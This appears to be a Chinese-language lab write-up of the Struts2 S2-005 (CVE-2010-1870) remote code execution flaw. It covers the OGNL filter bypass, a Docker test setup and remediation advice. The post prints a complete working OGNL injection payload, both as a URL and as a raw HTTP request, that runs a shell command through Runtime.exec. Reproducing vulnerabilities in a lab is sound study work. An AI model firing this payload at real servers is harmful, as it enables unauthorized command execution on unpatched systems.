CVE-2010-1870-Struts2-S2-005-RCE
forg12

描述

​ s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上。

影响版本

Struts 2.0.0 ~ Struts 2.1.8.1

漏洞检测

exp如下,执行命令无回显:

1
/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

image-20221102144315266

环境搭建

docker搭建环境:

1
2
3
docker pull 2d8ru/struts2

docker run -d -p 8080:8080 2d8ru/struts2

image-20221101134939255

查看环境

1
http://192.168.3.100:8080/S2-005/example/HelloWorld.action

image-20221102144403677

复现过程

使用bp抓包,发送以下payload

1
2
3
4
5
6
7
8
9
10
11
GET /S2-005/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
Host: 192.168.3.100:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=5D23AD82B1C442F32FFFD73388EDECB9
Upgrade-Insecure-Requests: 1


image-20221102144420548

进入环境,查看是否成功在tmp目录下创建success文件

1
2
docker ps
docker exec -ti 7ba8e842bd91 /bin/bash

image-20221102144518353

修复建议

1、从 XWork 2.2.1 开始,现在已成为 Struts 2.2.1 发行版的一个组成部分,ParameterInterceptor 已更改为为可接受的非恶意参数名称提供非常严格的白名单机制。 因此,除了简单属性导航路径之外的参数将被忽略。
强烈建议升级到包含更正 XWork 库的 Struts 2.2.1。

2、在struts.xml中配置ParametersIntercptor排除恶意参数,以下额外的拦截器引用配置在正确应用时应该可以缓解问题:

1
2
3
<interceptor-ref name="params">
<param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>
</interceptor-ref>

3、如果要采取手工修复的方式,需要进行以下步骤

1
2
3
1. 修改目标struts2应用的struts.xml文件,在对应的Action中添加新的拦截器,或拦截器栈,或者直接设置成默认拦截器
2. 向目标struts2应用的src源代码中添加新的拦截器实现类
3. 重启目标struts2应用进程,使拦截器生效